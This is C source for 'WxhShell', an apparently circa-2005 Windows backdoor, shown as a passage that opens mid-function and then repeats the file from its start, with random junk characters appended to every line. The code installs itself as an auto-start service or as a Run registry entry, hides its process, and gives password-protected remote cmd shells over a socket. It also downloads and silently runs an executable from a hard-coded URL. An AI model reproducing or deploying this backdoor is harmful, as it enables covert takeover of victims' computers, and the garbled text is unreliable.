    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @>M8Pe  
    if(Boot(SHUTDOWN)) /&*m1EN#o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&p,Clt-2  
    else { kw 6cFz  
    closesocket(wsh); C(EYM$  
    ExitThread(0); z\e>DdS  
    } XyvZ&d6(d  
    break; j|&{e91,?  
    } Vxp$#3 ;S  
  // 获取shell O|HIO&M  
  case 's': { <sgZ3*,A  
    CmdShell(wsh); \_lG#p|  
    closesocket(wsh); |P^]@om  
    ExitThread(0); BjH~Ml2  
    break; , D exJ1  
  } M4zX*&w.T  
  // 退出 44'=;/  
  case 'x': { n33JTqX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1y},9ym  
    CloseIt(wsh); ->#y(}  
    break; c_@XQ&DC`  
    } >Y,/dyT Zm  
  // 离开 t)\D  
  case 'q': { K?5B>dv@A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2=igS#h  
    closesocket(wsh); j5PaSk&o=  
    WSACleanup(); 4}.WhE|h  
    exit(1); u^}7Vs .  
    break; IUluJ.sXIf  
        } \Pw8wayr%  
  } ^^n +  
  } =#OHxM  
jz{(q;  
  // 提示信息 xP8iz?6"V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (:_%kmu  
} M3DxapG  
  } ?l6>6a7  
C>.]Bvg  
  return; 08zi/g2 3  
} @/CRIei  
>v^2^$^u  
// shell模块句柄 o,*folL  
int CmdShell(SOCKET sock) 1bV2  
{ T [T6  
STARTUPINFO si; @J~ lV\  
ZeroMemory(&si,sizeof(si)); k)N2 +/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <bEN8b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EO4" Z@ji  
PROCESS_INFORMATION ProcessInfo; o>xxmyW|  
char cmdline[]="cmd"; ?D RFsA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ea6dv4p  
  return 0; *]{9K  
} tU+@1~ ~  
2"pE&QNd  
// 自身启动模式 xB?S#5G}  
int StartFromService(void) JIyBhFI  
{ :NwMb^>  
typedef struct )z]q"s5 Y  
{ qR [}EX&3  
  DWORD ExitStatus; q`/amI0  
  DWORD PebBaseAddress; %k/ k]: s  
  DWORD AffinityMask; iYO wB'z  
  DWORD BasePriority; Q3B'-BZe  
  ULONG UniqueProcessId; r[.zLXgK  
  ULONG InheritedFromUniqueProcessId; N oX_?  
}   PROCESS_BASIC_INFORMATION; m&Y; /kr  
8CHb~m@^$  
PROCNTQSIP NtQueryInformationProcess; .nj?;).  
Rz<d%C;R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A2g"=x[1@K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }XfS#Xr1aV  
o9U0kI=W  
  HANDLE             hProcess; GN htnB  
  PROCESS_BASIC_INFORMATION pbi; 6MLN>)t  
6 . +[ z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2+T8Y,g  
  if(NULL == hInst ) return 0; n:5O9,umZ  
?=;e.qK=71  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); es.\e.HK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,cGwtt(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Az`6PW  
Rxvd+8FF  
  if (!NtQueryInformationProcess) return 0; jSeA %Te  
$I}Hk^X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xJ[k#?T'  
  if(!hProcess) return 0; s${T*)S@G  
'k-u9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <|KKv5[  
]MqH13`)A  
  CloseHandle(hProcess); w8m8r`h  
@e.OU(Bf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jV,(P$ 5;  
if(hProcess==NULL) return 0; V e$5w}a4  
"oE^R?m  
HMODULE hMod; D,}'E0  
char procName[255]; $nGbT4sc  
unsigned long cbNeeded; Z ,|1G6f@  
^*cMry  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3<zTkI  
? z)y%`}  
  CloseHandle(hProcess); e' /  
Z30z<d,j  
if(strstr(procName,"services")) return 1; // 以服务启动 $L<_uqSk  
I{?E/Sc  
  return 0; // 注册表启动 7"a`-]Ap  
} APHtJoS  
+!L_E6pyXE  
// 主模块 g:.,}L  
int StartWxhshell(LPSTR lpCmdLine) *O(/UVuD\  
{ | Q1ub S  
  SOCKET wsl; ecY ^C3+S  
BOOL val=TRUE; |"Xi%CQ2  
  int port=0; 4i[v ew  
  struct sockaddr_in door; 5oT2)yz  
m' Ekp  
  if(wscfg.ws_autoins) Install(); L#7)X5a__  
.q_uJ_qu-  
port=atoi(lpCmdLine); F9u:8;\@`  
rB.=f[aX[  
if(port<=0) port=wscfg.ws_port; I9:G9  
>?G|Yz*kEJ  
  WSADATA data; F653[[eQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N#pl mPrZ  
we:5gK &  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ? !oVf>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /+<%,c$n  
  door.sin_family = AF_INET; 8}"f|6Wm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fncwe ';?  
  door.sin_port = htons(port); FfD ,cDs  
yNLa3mW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JL.yd H79  
closesocket(wsl); Ew?/@KAV\  
return 1; |L.~Am d  
} 9h3~;Q  
Cdt,//xrz  
  if(listen(wsl,2) == INVALID_SOCKET) { qOcG|UgF  
closesocket(wsl); aV?}+Y{#  
return 1; skR, M=F~  
} 9aF..  
  Wxhshell(wsl); :bM$;  
  WSACleanup(); /v bO/Mr  
80s~ae;  
return 0; /SPAJHh  
3I>S:|=K  
} ^7~SS2t!  
XZep7d}  
// 以NT服务方式启动 [KimY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j quSR=  
{ YzhN|!;!k  
DWORD   status = 0; @KW+?maW  
  DWORD   specificError = 0xfffffff; _~w V{ yp  
/K1$_   
  serviceStatus.dwServiceType     = SERVICE_WIN32; l9ifUh e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D25gg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {o5K?Pb  
  serviceStatus.dwWin32ExitCode     = 0; 9A} kkMB:  
  serviceStatus.dwServiceSpecificExitCode = 0; j0pvLZjM  
  serviceStatus.dwCheckPoint       = 0; :_~PU$%0  
  serviceStatus.dwWaitHint       = 0; H%NLL4&wu  
9$Pl'>5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F'5d\v  
  if (hServiceStatusHandle==0) return; :`>+f.)  
n7,6a  
status = GetLastError(); ~U7\ LBF  
  if (status!=NO_ERROR) )Py+jc.  
{ Z '>eT)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G%p!os\>  
    serviceStatus.dwCheckPoint       = 0; :WfB!4%!  
    serviceStatus.dwWaitHint       = 0; B 1d%#  
    serviceStatus.dwWin32ExitCode     = status; }d~FTre  
    serviceStatus.dwServiceSpecificExitCode = specificError; @8<uAu%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^ ^?}>t[  
    return; SbPjU5 0  
  } Z'EO   
' ! UF&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B'gk/^6$eg  
  serviceStatus.dwCheckPoint       = 0; t~<-4N$(  
  serviceStatus.dwWaitHint       = 0; oVEr{K)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S^Wqa:;  
} SG|i/K|7  
yz2oS|0'  
// 处理NT服务事件,比如:启动、停止 R 6yvpH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 602eLV)  
{ H`6Jq?\  
switch(fdwControl) S9"y@F <  
{ ANpY qV  
case SERVICE_CONTROL_STOP: WlQ&Yau  
  serviceStatus.dwWin32ExitCode = 0; Etr8lm E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S4:\`Lo-;  
  serviceStatus.dwCheckPoint   = 0; GaK_9Eg-2  
  serviceStatus.dwWaitHint     = 0; E]eqvTNH  
  { %*Z2Gef?H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }PIGj}F/  
  } ;DgX"Uzm  
  return; 9CU6o:'fW  
case SERVICE_CONTROL_PAUSE: )V$!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }rMpp[  
  break; G4exk5  
case SERVICE_CONTROL_CONTINUE: hA,rSq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XF f+efh  
  break; iJaNP%N  
case SERVICE_CONTROL_INTERROGATE: %}]4Nsde  
  break; i8[Y{a *  
}; -Ib+/'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  +SA<0l  
} 1-]x  
nhX p_Z9  
// 标准应用程序主函数 `1d`9AS2g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /qhm9~4e3  
{ .Qi1I  
zc,9Qfn  
// 获取操作系统版本 %qjyk=z+Z  
OsIsNt=GetOsVer(); *6x^w%=A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :qSi>KCGh  
)|^<woli,  
  // 从命令行安装 5wFS.!xD  
  if(strpbrk(lpCmdLine,"iI")) Install(); `E0.PV  
9@z|2z2\G  
  // 下载执行文件 eGypXf%  
if(wscfg.ws_downexe) { :-W CW);N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZNC?Ntw  
  WinExec(wscfg.ws_filenam,SW_HIDE); bZ22O"F  
} gZ >orZL'  
pQMpkAX  
if(!OsIsNt) { xEZVsz  
// 如果时win9x,隐藏进程并且设置为注册表启动 K\E]X\:  
HideProc(); [#rdfN'?U  
StartWxhshell(lpCmdLine); |`;1p@w"  
} (xSi6EZ6;  
else 8qYGlew,  
  if(StartFromService()) %b%<g%@i  
  // 以服务方式启动 i~s9Ot  
  StartServiceCtrlDispatcher(DispatchTable); Hkz~9p  
else $HCAC 4  
  // 普通方式启动 BaTOh'52  
  StartWxhshell(lpCmdLine); ^]!1'xg  
Yl~?MOk  
return 0; /R$x-7t)^(  
} sS2E8Z2  
"KE38`NL  
TN@JPoH  
O+Lb***b"  
=========================================== 5b4V/d* '  
. .je<   
H{Y=&#%d  
rbZ6V :  
OO+#KyU   
Vh9s.=*P@  
" #~-&&S4a.J  
CJtjn  
#include <stdio.h> `1}?{ud  
#include <string.h> `iayh  
#include <windows.h> )Gp\_(9fc  
#include <winsock2.h> lLFBop  
#include <winsvc.h> {UC<I.5X  
#include <urlmon.h> RT A=|q  
z,x"vK(  
#pragma comment (lib, "Ws2_32.lib") i|{nj\6w^  
#pragma comment (lib, "urlmon.lib") 0uJzff!|  
DCzPm/#b  
#define MAX_USER   100 // 最大客户端连接数 lJY=*KB(6  
#define BUF_SOCK   200 // sock buffer <RVtLTd/  
#define KEY_BUFF   255 // 输入 buffer +rpd0s49  
}vA nP]!A5  
#define REBOOT     0   // 重启 [qMO7enu#  
#define SHUTDOWN   1   // 关机 8=o5;]Cg  
[QN7+#K,  
#define DEF_PORT   5000 // 监听端口 8*~:gZ7:  
3[i !2iL.  
#define REG_LEN     16   // 注册表键长度 $yqq.#1  
#define SVC_LEN     80   // NT服务名长度 jh](s U  
e^_@^(||!6  
// 从dll定义API -2ij;pkIW$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^JVP2L>o*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vd>.fb\U2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s@[t5R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U7%pOpO!  
4S EC4yO  
// wxhshell配置信息 GaqG 8% .  
struct WSCFG { n)!_HNc9  
  int ws_port;         // 监听端口 mXM>6>;y  
  char ws_passstr[REG_LEN]; // 口令 j/mp.'P1k  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Q]'kJ<s  
  char ws_regname[REG_LEN]; // 注册表键名 ugPI1'f  
  char ws_svcname[REG_LEN]; // 服务名 +Qvgpx>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EI+/%.,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zd4y5/aoS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v!hs~DnUZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mqT0^TNPcl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xt0j9{p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $#W6z:  
et}Y4,:  
}; \'=}kk`  
Tv)y }  
// default Wxhshell configuration g*.(! !  
struct WSCFG wscfg={DEF_PORT, m_I$"ge  
    "xuhuanlingzhe", vK7,O%!S  
    1, lBZ*G  
    "Wxhshell", nGgc~E$j  
    "Wxhshell", A1}+j-D7!y  
            "WxhShell Service", .FRF<_`^  
    "Wrsky Windows CmdShell Service", fqsp1m$  
    "Please Input Your Password: ", Cj\+u\U#  
  1, KrG6z#)Uz  
  "http://www.wrsky.com/wxhshell.exe", .ehvhMuG|  
  "Wxhshell.exe" TaJn2cC^  
    }; ?s} E<Kr  
j6(IF5MqP  
// 消息定义模块 0$ac1;7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qf(e'e  
char *msg_ws_prompt="\n\r? for help\n\r#>";  AlaN;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JP*mQzZL  
char *msg_ws_ext="\n\rExit."; )nxIxr0d-  
char *msg_ws_end="\n\rQuit."; kzpbs?<;  
char *msg_ws_boot="\n\rReboot..."; ts!aKx  
char *msg_ws_poff="\n\rShutdown..."; w=o m7%J@l  
char *msg_ws_down="\n\rSave to "; -\C6j  
Qnx92   
char *msg_ws_err="\n\rErr!"; :FpBz~!a  
char *msg_ws_ok="\n\rOK!"; 6WcbJ_"mq  
Qs X59d  
char ExeFile[MAX_PATH]; ;*H~Yb0  
int nUser = 0; >F_Ne)}qTQ  
HANDLE handles[MAX_USER]; %GiO1:t  
int OsIsNt; ua-|4@YO  
|o) _=Fx  
SERVICE_STATUS       serviceStatus; Ao0PFY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E9-'!I!  
$KHDS:&  
// 函数声明 U%\2drM&]  
int Install(void); ,#OG/r-H  
int Uninstall(void); ulo7d1OVkJ  
int DownloadFile(char *sURL, SOCKET wsh); =PM#eu  
int Boot(int flag); l%~zj,ew  
void HideProc(void); _'p;V[(+M  
int GetOsVer(void); CoXL;\  
int Wxhshell(SOCKET wsl); L%Q *\d  
void TalkWithClient(void *cs); 08jQq#  
int CmdShell(SOCKET sock); 1A.\Ao  
int StartFromService(void); l #z`4<  
int StartWxhshell(LPSTR lpCmdLine); =@XR$Uud6  
5D*V%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EQO7:vb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *3($s_r>  
)/N! {`.9  
// 数据结构和表定义 (1]@ fCd +  
SERVICE_TABLE_ENTRY DispatchTable[] = @Qozud\?  
{ C,u.!g;lm  
{wscfg.ws_svcname, NTServiceMain}, C YKGf1;If  
{NULL, NULL} #eyx  
}; *OcptmY<  
(5;xs  
// 自我安装 .e#j#tQp  
int Install(void) ?7a[| -  
{ ovFfTP<3V  
  char svExeFile[MAX_PATH]; `Db}q^mQ  
  HKEY key; zZiVBUmE<  
  strcpy(svExeFile,ExeFile); JdEb_c3S  
_'a4I;  
// 如果是win9x系统,修改注册表设为自启动 TY?io@  
if(!OsIsNt) { x^BBK'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (@ sKE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n\9*B##  
  RegCloseKey(key); <P- r)=^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7B`0mK3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -.{7;6:(k  
  RegCloseKey(key); DR8dJ#  
  return 0; ^KR(p!%  
    } p?nVPTh  
  } u\?u}t v  
} 75i)$}_1B  
else { wX;NU4)n  
9z}kkYk  
// 如果是NT以上系统,安装为系统服务  ond/e&1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iJeT+}  
if (schSCManager!=0) }clNXtN  
{ 5]+eLKXB  
  SC_HANDLE schService = CreateService &>{L"{  
  ( | 'G$}]H  
  schSCManager, v}@ 6"\  
  wscfg.ws_svcname, i%w'Cs0y  
  wscfg.ws_svcdisp, / KM+PeO  
  SERVICE_ALL_ACCESS, !<ucwWY,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5S bSz!s`$  
  SERVICE_AUTO_START, r$zXb9a|<  
  SERVICE_ERROR_NORMAL, B4=gMVp1  
  svExeFile, 6m&I_icM  
  NULL, u}_q'=<\  
  NULL, v<4zcMv  
  NULL, 4V5*6O9(u  
  NULL, E)bP}:4V  
  NULL #D8)rs.9  
  ); )DMbO"7  
  if (schService!=0) 3{z }[@N  
  { ><HXd+- sd  
  CloseServiceHandle(schService); _qfdk@@g  
  CloseServiceHandle(schSCManager); =6:Iv"<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bfgLU.1I  
  strcat(svExeFile,wscfg.ws_svcname); 9UX-)!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j^M@0o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5/<Y,eZ/  
  RegCloseKey(key); 0)#I5tEre  
  return 0; B}.ia_&DLR  
    } O.!?O(  
  } Y&?]t  
  CloseServiceHandle(schSCManager); r38CPdE;}  
} 1Mqz+@~11  
} zi'?FM[f)  
xk9]jQ7  
return 1; URwFNOM2  
} Im =E?t  
&Jz%L^  
// 自我卸载 m6}"g[nN  
int Uninstall(void) NH/H+7,o  
{ Ghz)=3  
  HKEY key; %* 8QLI  
h fNBWN  
if(!OsIsNt) { -.y3:^){^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IiL?@pIq  
  RegDeleteValue(key,wscfg.ws_regname); <JlKtR&nSo  
  RegCloseKey(key); fO+;%B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { va)\uXW.N  
  RegDeleteValue(key,wscfg.ws_regname); -z@}:N-uR  
  RegCloseKey(key); <GC:aG  
  return 0; SU^/qF%8  
  } 4Y'qo M;  
} @: NrC76  
} _IGQ<U<z  
else { rB\UNXy  
^?,/_3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k5 8lmuU  
if (schSCManager!=0) MLJ8m  
{ KW)yTE<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VrDvd  
  if (schService!=0) ) Ez=#dIq  
  { +VfJ: [q  
  if(DeleteService(schService)!=0) { 7~ 2X/  
  CloseServiceHandle(schService); &c'unKH  
  CloseServiceHandle(schSCManager); -$*YN{D+  
  return 0; }x+{=%~N  
  } &Jj ?C  
  CloseServiceHandle(schService); 9r!%PjNvE  
  } cB TMuDT_  
  CloseServiceHandle(schSCManager); p 7sYgz  
} r\yj$Gu>(  
} (jXgJ" m  
?tOzhrv  
return 1; ;2$^=:8  
} ky*-_  
#nnP.t m  
// 从指定url下载文件 @|M10r9E  
int DownloadFile(char *sURL, SOCKET wsh) nt4>9;  
{ +I U]=qS  
  HRESULT hr; ( mycUU%  
char seps[]= "/"; RNPqW,B!0  
char *token; R8a xdV9(  
char *file; q\ ?6-?Mr  
char myURL[MAX_PATH]; y8sI @y6  
char myFILE[MAX_PATH]; <I} k%q'  
mu*wX'.'  
strcpy(myURL,sURL); jjs-[g'}  
  token=strtok(myURL,seps); "<kmiK/  
  while(token!=NULL) xv /w %  
  { om(#P5cSM;  
    file=token; 1m&(3% #{  
  token=strtok(NULL,seps); UrgvG, Lt  
  } }/6jom9U?  
~-,<`VY  
GetCurrentDirectory(MAX_PATH,myFILE); - Q,lUP  
strcat(myFILE, "\\"); O32:j   
strcat(myFILE, file); L3&NGcd  
  send(wsh,myFILE,strlen(myFILE),0); r"xo9&|  
send(wsh,"...",3,0); R|_?yV[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qv8Z64#  
  if(hr==S_OK) upWq=_  
return 0;  B} :[~R'  
else \!-X&ws  
return 1; mI l_ [  
yfq"atj  
} =oSv=xY  
_m@QeO'yh  
// 系统电源模块 DS^PHk39  
int Boot(int flag) hD;[}8qN{  
{ |d8/ZD  
  HANDLE hToken; 2/I^:*e  
  TOKEN_PRIVILEGES tkp; CFVe0!\  
&a O3N  
  if(OsIsNt) { #[2]B8NZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b" p,~{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Rq;V=2YV  
    tkp.PrivilegeCount = 1; ($]y*| Obn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9NVe>\s_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fAJQ8nb{@]  
if(flag==REBOOT) { '9-8_;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .F9>|Xx[  
  return 0; D\>CEBt  
} S&9{kt|BI  
else { i_V~SC`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^;N +"oq!y  
  return 0; e1K,4 Bq  
} 8J Gt|,  
  } )Nk^;[  
  else { MOdodyG  
if(flag==REBOOT) { 'AHI;Z~Gk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TR]~r2z  
  return 0; 'Exj|Y&  
} u=A&n6Q[Vo  
else { MAhcwmZNy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J-hP4t&x  
  return 0; 8hGp?Ihu  
} |0dmdrKD  
} #R@{Bu=C  
? %F*{3IP  
return 1; (`xhh  
} C;M.dd  
nxCwg>  
// win9x进程隐藏模块 rk{DrbRx  
void HideProc(void) nJlrBf_Kj  
{ rE EWCt  
pGh2 4E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /wVrr%SN  
  if ( hKernel != NULL ) ?$v#;n?@I  
  { h`,dg%J*B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [<7Hy,xr_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cOq^}Ohan  
    FreeLibrary(hKernel); _da>=^hFJ  
  } Kr!8H/Z  
pX+`qxF\  
return; r1 )Og  
} R6*:Us0\FJ  
Pqi>,c<&mL  
// 获取操作系统版本 noV]+1#"V  
int GetOsVer(void) =.f]OWehu.  
{ r1]shb%J?  
  OSVERSIONINFO winfo; hU@ 9vU<U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $xJVUV  
  GetVersionEx(&winfo); T dlF~ca|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oe5=2~4O  
  return 1; !0{":4 \  
  else ?dY}xE  
  return 0; 9U^jsb<St>  
} aj85vON1`  
e}D#vPaSY  
// 客户端句柄模块 .-Ggvw  
int Wxhshell(SOCKET wsl) H[BY(a@c  
{ cK"b0K/M?B  
  SOCKET wsh; TeSF  
  struct sockaddr_in client; |/5j0  
  DWORD myID; f =B)jYI  
9K-=2hvv  
  while(nUser<MAX_USER) HeCQF=R  
{ J*IC&jH:  
  int nSize=sizeof(client); % V/J6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7;ZSeQ yC  
  if(wsh==INVALID_SOCKET) return 1; :''^a  
Zu951+&`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F 0 q#.   
if(handles[nUser]==0) ,dOd3y'y  
  closesocket(wsh); OQIQ   
else l_Mi'}j  
  nUser++; yS%IE>?  
  } 5B)Z@-x2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hosw :%  
[Dni>2@0  
  return 0; Y5M>&}N  
} ;"l>HL:^  
YtI 2Vr/9  
// 关闭 socket ;& ny< gQ  
void CloseIt(SOCKET wsh) #0V$KC*>  
{ F$T@OT6  
closesocket(wsh); 1'@/ jR  
nUser--; ~vgm; O  
ExitThread(0); dP}=cZ~  
} =QXLr+ y@  
|7KW'=O  
// 客户端请求句柄 xFvDKW)_X7  
void TalkWithClient(void *cs) !c,=%4Pb  
{ cD5c&+,&I  
;dgxeP;mp  
  SOCKET wsh=(SOCKET)cs; R1u1  
  char pwd[SVC_LEN]; *<Yn  
  char cmd[KEY_BUFF]; ^o^[p %  
char chr[1]; f Glvx~  
int i,j; !.9pV.~  
rjqQWfShY  
  while (nUser < MAX_USER) { DdJ>1504  
B@XnHh5y  
if(wscfg.ws_passstr) { =>Ss:SGjT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jv(9w[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H=b54.J8&  
  //ZeroMemory(pwd,KEY_BUFF); m!{Xuy  
      i=0; M5DQ{d<r  
  while(i<SVC_LEN) {  mkH {%7n  
l,5<g-r V  
  // 设置超时 l+g\xUP  
  fd_set FdRead; A<-Prvryt  
  struct timeval TimeOut; +iKs)s_~  
  FD_ZERO(&FdRead); r;m_@*]  
  FD_SET(wsh,&FdRead); V8AF;1c?-'  
  TimeOut.tv_sec=8; CZaUrr  
  TimeOut.tv_usec=0; I{#&!h>]U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y\ Su!?4!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;{'{*g[  
5MUM{(C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G=?2{c}U  
  pwd=chr[0]; (3PkTQlE  
  if(chr[0]==0xd || chr[0]==0xa) { &-^|n*=g6  
  pwd=0; k+Ew+j1_  
  break; =[{YI2S  
  } 78a!@T1#  
  i++;  "";[U  
    } Zq wxi1  
'@OqWdaR  
  // 如果是非法用户,关闭 socket =D88jkQe"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /HCd52  
} rw> X JE  
: V16bRpjL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;:(kVdb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /O@'XWW  
ia=eFWt.  
while(1) { i$MYR @  
\GA6;6%Oo  
  ZeroMemory(cmd,KEY_BUFF); 15PFnk6E|  
JBX#U@k>I  
      // 自动支持客户端 telnet标准   {|)u).n|  
  j=0; }py6H[  
  while(j<KEY_BUFF) { 9e^HTUFbG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pbg[\UJyd  
  cmd[j]=chr[0]; dMkDNaH,  
  if(chr[0]==0xa || chr[0]==0xd) { +bC-_xGuh  
  cmd[j]=0; %N}O Mc.W  
  break; yVds2J'w-  
  } QUa_gYp0v  
  j++; g-B~" tp  
    } `>M;f%s  
c6zghP3dR  
  // 下载文件 v.Fq.  
  if(strstr(cmd,"http://")) { b'i-/l$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B<)c{kj  
  if(DownloadFile(cmd,wsh)) oy+``W~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$)Nd+ny  
  else BGAqg=nDV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+# l\q%l  
  } `LD#fg*  
  else { 8S;]]*cD~  
;O8Uc&:P  
    switch(cmd[0]) { m e\S:  
